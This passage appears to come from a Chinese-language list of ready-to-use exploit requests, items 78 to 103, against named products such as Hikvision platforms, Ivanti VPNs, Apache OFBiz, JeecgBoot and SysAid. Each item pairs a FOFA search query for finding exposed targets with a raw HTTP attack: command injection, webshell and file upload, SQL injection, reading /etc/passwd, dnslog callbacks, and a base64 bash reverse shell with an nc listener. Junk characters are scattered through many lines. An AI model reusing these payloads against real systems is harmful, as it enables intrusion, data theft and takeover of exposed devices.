------------398jnjVTTlDVXHlE7yYnfwBoix
* n* ~( ~6 h8 u. `. \+ ^% QContent-Disposition: form-data; name="Upload"

Submit Query
------------398jnjVTTlDVXHlE7yYnfwBoix--

9 @: X% a& k# @0 L: [# u
78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
FOFA：icon_hash="2001627082"
POST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
& Z) ?: H/ e6 R( {User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
( K5 j$ t& Y. WConnection: close
8 U: _* B8 ~4 W# N; t. uContent-Length: 336
9 L; G8 ~) J8 N0 W: ZAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

( C9 u: P3 V7 Y0 o3 m( u9 K------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
0 h# L% W# T3 v3 d1 H. h! o  C* ZContent-Type: image/png

YsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
$ |8 F6 ?1 H5 N) c0 }  m' e: gContent-Disposition: form-data; name="target"

/Applications/SkillDevelopAndEHS/
6 U" C3 s/ P* s) n------YsOxWxSvj1KyZow1PTsh98fdu6l--
! ?# w& ?. [0 `* h6 {
" c4 k& M6 H  X  g. I+ f
; C7 ], v& R+ P: B" }/ CGET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x

+ R8 g1 |% l" g( y: j* S
* ?2 |) `9 t1 j: R% m: w0 u* b" I79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
6 H' t; h3 M0 s, S/ e+ AGET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
3 ^. G) Z% R" o/ K5 b( Q) B/ lUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
0 {0 ?# n) a/ E) }4 iAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 C; I, ^  ~8 @9 N0 `& W3 G. HAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, O2 m# U" E+ x7 @1 `Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

# x( t- E& A8 @+ D
+ G, A+ |/ ?# z' R80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
1 z' @; {4 {3 k# [7 Y/ {& UHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
9 J  k. N/ D3 I" W7 N+ ?: @* P0 I( |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
, A1 `6 @* G$ I4 f9 lAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) w; R! ?7 m6 h  ?Connection: close
; n- K+ `9 Z) i% s4 P, m9 cContent-Type: application/octet-stream
# @& I! F: A8 r' \) P& dUpgrade-Insecure-Requests: 1
: f: Q, j: s  A# I- c- t2 B8 z
/ J* u1 t7 n* X4 ]4 l<% out.print("oessqeonylzaf");%>
. H! Z# m/ n9 [! s! [' P+ X. y

7 i. m$ f9 A0 e2 B2 dGET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
/ H* `7 P; ~0 u& [6 L6 W- Z6 b2 J$ A

81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
, r  L* R' O( H( |- M/ H" `; j4 f$ LGET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
. `+ N, K# j: Q0 Y9 S% L
7 |, E, z" J: W* J- o
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
/ ]( f6 d% t$ I; F$ F; u6 D3 eFOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
' N0 l0 H, U! l6 e* e& fHost: BaseURL
2 [: @0 ?9 n3 G  R& jUser-Agent: Go-http-client/1.1
% c4 j" k& s, R- [7 N* r$ L, GContent-Length: 23
7 d0 C5 `# }8 c1 y/ m9 W. A, GAccept-Encoding: gzip
, D& c0 p% d, Q  m" QConnection: close
Content-Type: application/x-www-form-urlencoded
2 z# C8 T+ |( R7 m1 X& G; r2 D/ ^Referer: BaseURL

z1=1&z2="|id;"&z3=bhost
, E* \* J. y+ J( n" G% z

83. JeecgBoot testConnection 远程命令执行
FOFA：title=="JeecgBoot 企业级低代码平台"
) J) u3 }5 N) D# z. I8 U; D

POST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
3 m% y9 I9 O$ \" I4 vUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 8881
Accept-Encoding: gzip
. ^% u5 M* q: @& S% Q: F# e) OCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
# K, D. S1 S7 ~Content-Type: application/json

5 H( O, a4 S# a$ \6 L& \+ ePAYLOAD
1 d* _# A# B# R2 s% H: W" D
# Z9 ^" Z' p% c2 Y, ]6 Z84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
% d6 d; g$ A& m: Y& B0 s. dFOFA：title=="JeecgBoot 企业级低代码平台"
: D+ w! I: N: d# B7 e5 k4 v& z$ ]
2 r' l! X% R0 P- t' y

POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
: y8 Z; ~8 j+ k6 y3 D& T7 ]User-Agent: curl/7.88.1
Content-Length: 156
Accept: */*
5 M* g# D: m" L. m: gConnection: close
& E$ [% r+ ~. \; o) X% Z% lContent-Type: application/json
Accept-Encoding: gzip
3 y' Q% a) G- L+ j
- c4 X: {2 L+ r{
+ O0 Z* O6 R8 F( T0 u) t "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
" @5 {; r9 k5 g3 g  "type": "0"
7 E* u' c& w! G. W}

7 E( {* E6 B6 T5 m7 ~& n
85. SysAid On-premise< 23.3.36远程代码执行
CVE-2023-47246
8 V6 y3 }* K! J7 hFOFA：body="sysaid-logo-dark-green.png"
EXP数据包如下，注入哥斯拉马
% U4 }- j/ H$ k, bPOST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
" d' i9 z$ ^# j5 \  y" ~# ^Host: x.x.x.x
# Q' ]; l5 Z2 U8 X  l: A' ~User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/octet-stream
Accept-Encoding: gzip
/ R: K/ r/ L  E. ]5 A
0 I/ h7 ~; @; f; L: X$ L; [4 |9 J5 FPAYLOAD
0 J5 i8 i: a( ]& D  O) \/ ~
: S& F6 |2 Y2 K( ~6 L& @3 q* d6 I回显URL：http://x.x.x.x/userfiles/index.jsp

86. 日本tosei自助洗衣机RCE
1 L4 ^0 c) U8 M0 |FOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
! O, x- E: r0 p# zHost: x.x.x.x
8 ^9 [, H0 n% GUser-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
- Z+ C/ R1 S1 f* A" P! O& I; h# Z$ XContent-Length: 44
; ~$ g8 x, S4 }Accept: */*
& h8 U( R2 I5 o0 J( O) {Accept-Encoding: gzip
Accept-Language: en
Content-Type: application/x-www-form-urlencoded

host=%0acat${IFS}/etc/passwd%0a&command=ping

( {+ g8 R" h0 Z9 L
87. 安恒明御安全网关aaa_local_web_preview文件上传
  Q( X. F+ J. r% y1 I, qFOFA：title="明御安全网关"
/ a; M' ]  @4 B6 LPOST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
. v! e2 o; W( k2 X4 H0 d9 tHost: X.X.X.X
5 O5 R$ f1 |) q: x, {/ S+ S: X' f! wUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
8 K* F) Y2 t3 n1 R( {$ \. Q3 GConnection: close
Content-Length: 198
) V/ O- Q% ~4 {; J. W( J, ?# P0 |Accept-Encoding: gzip
. c/ I, E6 V/ W% }. e6 [+ R5 m8 uContent-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd
" [, M2 \* Z$ X6 P
5 H7 B# y- X7 m--qqobiandqgawlxodfiisporjwravxtvd
Content-Disposition: form-data; name="123"; filename="9B9Ccd.php"
" S3 M& g0 D+ vContent-Type: text/plain
) F9 r, u  L# t  @" m9 T
3 P2 @, L5 m9 c% b2ZqGNnsjzzU2GBBPyd8AIA7QlDq
- v' v# i/ Y5 P4 \--qqobiandqgawlxodfiisporjwravxtvd--
$ g9 v+ ~" v& T! V8 i9 c* N2 J
! t2 K8 {3 i5 X
9 U2 ^, j# |5 K: b( K3 v) T9 t5 c/jfhatuwe.php

. J5 d, S9 ^& }/ X8 U88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
' r4 {) l( g2 |1 U# IUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- j! i  y( S4 _: \Connection: close
, {6 E$ l6 s! c
; D" D/ X9 e! R) k9 ^4 G
2 @7 k) w9 N- h/astdfkhl.php

89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
8 @2 X- t' f3 B7 d: u  uHost: x.x.x.x
5 @5 l+ r5 B6 O8 U& t& OUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
- p; [! ^! I2 iContent-Length: 41
+ D- `( ~9 h0 A' |Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

9 Y. w8 N/ ?8 O3 |( v' q) Qoption=2&GUID=-1'+union+select+111*222--+
6 v2 \* l. ]8 C

90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
( v) M( ?8 H+ A9 v- d) X4 GPOST /php/ping.php HTTP/1.1
Host: x.x.x.x
4 Y: V9 E5 ~" rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
" s$ Y* k! ~1 R0 M% UContent-Length: 51
% a' ^' j* O0 \% ZAccept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest

jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
) `* m. a9 `8 g2 m7 g9 D
8 Y4 T* O6 i; y1 ?8 [, R
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
" d/ m0 w" m2 m1 A9 lFOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
; s; _$ i9 ~% u# Y. v. m! EHost: your-ip
7 ^7 r- M0 W" l( j4 ^& HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
! T8 D) g' @7 q$ Z$ eConnection: keep-alive

6 Y7 B1 u8 f8 `) r7 f3 M

92. 海康威视运行管理中心session命令执行
Fastjson命令执行
+ ^7 X& J* T# i1 B* u2 z" bhunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
. y3 h! s2 `5 _& c& V3 z+ gPOST /center/api/session HTTP/1.1
9 y) l$ j) y8 f/ uHost:
Accept: application/json, text/plain, */*
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
5 L% _  N) K5 u/ c3 K2 ^Content-Type: application/json;charset=UTF-8
X-Language-Type: zh_CN
  L5 D) i5 p0 E! I& xTestcmd: echo test
8 K0 B; j6 m5 A& z2 V0 K% hUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 5778

0 X4 Y4 v8 `3 l' BPAYLOAD

+ V& u2 u- L4 {  i1 ~
& }+ Y1 R* A( \) ^2 M! f93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
, C/ _$ L4 f2 r8 c& z. ZPOST /?g=app_av_import_save HTTP/1.1
/ L6 D: N8 L8 F4 E" \/ L/ ~& IHost: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
- |, e, e+ J3 i/ O4 R- d: HUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
2 ]0 w% J3 B' `9 ~2 O
& K) e) N& w- z: f9 ~------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"

( s; t/ U2 r$ S) K4 }8 Z( E& V10000000
' m* [6 g, P) I% U, k4 \------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain

  i9 R1 X; v. s  fwagletqrkwrddkthtulxsqrphulnknxa
3 d  z' v( S& T- _------WebKitFormBoundarykcbkgdfx
( w" M2 |# M1 \Content-Disposition: form-data; name="submit_post"
3 Y  T, X! o. a6 k7 @
obj_app_upfile
! `. p9 N" r# P& U! g------WebKitFormBoundarykcbkgdfx
8 |3 r6 M2 e. v. y& J& C$ \Content-Disposition: form-data; name="__hash__"
" `; \2 e9 b3 F9 d) j$ _) o: E
0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarykcbkgdfx--
5 x" f: F" m# B5 b) O" r; B
0 j1 V" N. H* \# c3 j+ z+ F# H1 H8 N
+ o$ J- W$ t3 U4 O0 ], jGET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
6 w: ]5 f3 D/ T- AUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

+ r' g! M" ?1 d9 t
$ b/ [. c  y" \6 v94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
: M& n2 M3 u! F3 R2 _Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36

------WebKitFormBoundarybqvzqvmt
2 t+ A$ |8 `0 |3 M: fContent-Disposition: form-data; name="MAX_FILE_SIZE"

& j+ a% I  B+ K' x10000000
4 m( Z. s- b3 ]+ @, l------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
' S% @( q  [$ X$ I8 K$ jContent-Type: text/plain

$ f3 b8 e# |+ ~0 j4 t# Opxplitttsrjnyoafavcajwkvhxindhmu
! \( N4 i' G' o9 ]% k------WebKitFormBoundarybqvzqvmt
4 f' m1 N& j  g8 B& `: nContent-Disposition: form-data; name="submit_post"

* U8 J8 m' X2 `3 E4 g% wobj_app_upfile
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"
" V2 A$ E$ A- R! W, g- x% v: Q2 ~
7 \8 B7 h6 o# `% Q  z0 g) i0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--
1 S/ P, _) k: z5 U" |$ ^7 ^: r1 G! i
& n0 Q; h  \$ e4 o

0 @4 U  o5 B" BGET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
+ [2 s7 U. q7 @" m7 [1 P+ T

1 Z9 p4 B& b0 f
8 y8 d9 T  c! ?4 V95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
$ ^7 \* p/ A+ M/ gCVE-2023-49070
FOFA：app="Apache_OFBiz"
! s# F3 V! Z% X9 x$ A( S: g$ ?POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
# n% p& h4 P" m7 A  k" B- iUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
$ d6 I9 I) B# h& ^Content-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip
* f3 q, d1 K* Y; I
3 Y, r& u: P7 z7 S<?xml version="1.0"?>
2 W; J8 D) H, X  w<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
      <param>
% i% E/ P4 w; K; }; B: R      <value>
        <struct>
       <member>
          <name>test</name>
+ }5 k, c* N7 Z          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
0 d& v- K4 r; E: p& [( L6 f          </value>
  T' q' Q  M7 e8 O$ v        </member>
      </struct>
      </value>
% A7 f9 C$ s2 s2 L2 n3 ?* _* n    </param>
    </params>
</methodCall>

0 F" F! X% ?, d6 Q) b3 E
用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"

$ C7 s3 H* b2 Y2 a. K) e& k
将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
+ d$ I) q8 u  w* m! `Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
& z' t3 ^1 Y9 z7 ^" u0 BConnection: close
2 `' ~& N% x. C! HContent-Length: 889
Content-Type: application/xml
  g  ]5 J( i' E2 c" [Accept-Encoding: gzip

PAYLOAD

! R& V( f% K6 i8 o5 Y  {4 I96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
4 F) x# m/ M4 }3 }. PHost: localhost:8443
# O7 U2 t' w5 a1 W& a" C9 D! ]8 @4 q! oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
# z0 ~' g/ r8 I/ Z  p" v# ]5 MAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
1 q# d% o' Q% X" b/ B0 Z- k; NContent-Length: 55

3 K1 @& n- n* ?groovyProgram=throw+new+Exception('id'.execute().text);


6 H  g% }# u& `反弹shell
在kali上启动一个监听
nc -lvp 7777

5 ]9 j; b- D; R9 w3 }POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
9 u5 D  @; K- R0 f3 vHost: 192.168.40.130:8443
5 U; C+ Z  [+ v4 }& k5 sUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
# V8 E2 E0 v4 D- p- G1 GAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
# t# k1 s1 O8 OContent-Length: 71
, _8 T4 P+ C* w# ?$ y; S
/ \8 Q$ C4 O% T+ NgroovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

# j, L! Y: T6 M" {/ J; O! t97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
1 Z- w: q& C! l; T/ j/ n: MFOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
/ U0 |2 K- d- ^6 k5 Z# YHost: 192.168.40.130:8085
7 L$ ^! r# A: \' O# Q- fUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
! {9 P/ ^7 r: ?$ u4 V# z2 eAccept-Encoding: gzip
* a+ G( O9 X  }2 J" s& N" `2 `Connection: close
Cookie: rememberMe=PAYLOAD
- j) A# }8 t. ^9 VX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"


  M: |) L+ Y; N  r. C& B98. SpiderFlow爬虫平台远程命令执行
CVE-2024-0195
FOFA：app="SpiderFlow"
4 l) \3 I% G. XPOST /function/save HTTP/1.1
Host: 192.168.40.130:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
; D9 O! B5 i" b9 I$ X' TConnection: close
Content-Length: 121
Accept: */*
Accept-Encoding: gzip, deflate
& h, m: h1 ~0 P# {! x$ L) O1 q6 _Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, ?2 a; F& t3 u" ]# N, qContent-Type: application/x-www-form-urlencoded; charset=UTF-8
/ w# z1 r6 \1 J2 D" kX-Requested-With: XMLHttpRequest

2 I' t8 a& y3 b0 V0 ^0 pid=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
$ V# b* @: T2 N) ^; ~2 _; m
! P. M9 Q$ E! ]+ |
1 w: j+ X  S& J3 o7 _99. Ncast盈可视高清智能录播系统busiFacade RCE
CVE-2024-0305
' h1 |& e; t7 m: ^+ fFOFA：app="Ncast-产品" && title=="高清智能录播系统"
/ Y1 h9 d/ F8 i) PPOST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
6 G0 C$ a$ W% n4 y8 ]3 w* [' f- ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 154
+ ], r6 |/ m+ PAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' m8 |/ D5 F5 @  u) ?, s  W/ C+ C( mContent-Type: application/x-www-form-urlencoded; charset=UTF-8
' k3 d. f! d1 Z" p4 ?- U" U& qX-Requested-With: XMLHttpRequest
& P$ q/ W, K# c) q- j+ ]
%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D


100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
CVE-2024-0352
! h2 `5 c7 A" wFOFA：icon_hash="874152924"
& X7 j: T) C% F4 t4 Q) K4 C" H$ LPOST /api/file/formimage HTTP/1.1
8 a9 a8 Z7 D3 p! w6 p  jHost: 192.168.40.130
; R, e; o+ D6 ^  G; OUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Content-Length: 201
- h" l/ L4 V0 }. `+ MContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip
0 W3 y% z  I0 G# `
" K9 H; t) {% m, v) `4 `2 B7 x/ _------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
) U( q- @% x. W+ _Content-Type: application/x-php
( D( n  d& t' W* Q/ I
2ayyhRXiAsKXL8olvF5s4qqyI2O
( e" a7 f  N5 E! P% H+ B------WebKitFormBoundarygcflwtei--


101. ivanti policy secure-22.6命令注入
5 [, E3 ]3 k& _! e( eCVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
+ L0 v+ b& i, q9 E1 s" YConnection: close
0 O( \! G$ l9 i7 W( IAccept-Encoding: gzip
# F2 y! z/ {5 p* s0 J9 c$ B

7 Z. |9 h: p1 a102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
CVE-2024-21893
* I6 p7 n. }- O2 \8 s2 L) ^FOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
" p, @* K- C+ r, `3 X5 k" x+ MHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
Accept-Encoding: gzip

8 H  L# v! w+ a1 S  `& }5 V<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
1 n/ u, I$ q7 W- q) U& J$ O3 G
103. Ivanti Pulse Connect Secure VPN XXE
7 J+ y$ c# e& t* fCVE-2024-22024
+ K! u5 ]( D  N( HFOFA：body="welcome.cgi?p=logo"
& I+ |* L# L) ~& QPOST /dana-na/auth/saml-sso.cgi HTTP/1.1
3 c( V, t7 @3 @: J- ~Host: 192.168.40.130:111
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
Content-Length: 204
Content-Type: application/x-www-form-urlencoded
' z: R' }' r1 n3 M3 p, N* ]Accept-Encoding: gzip

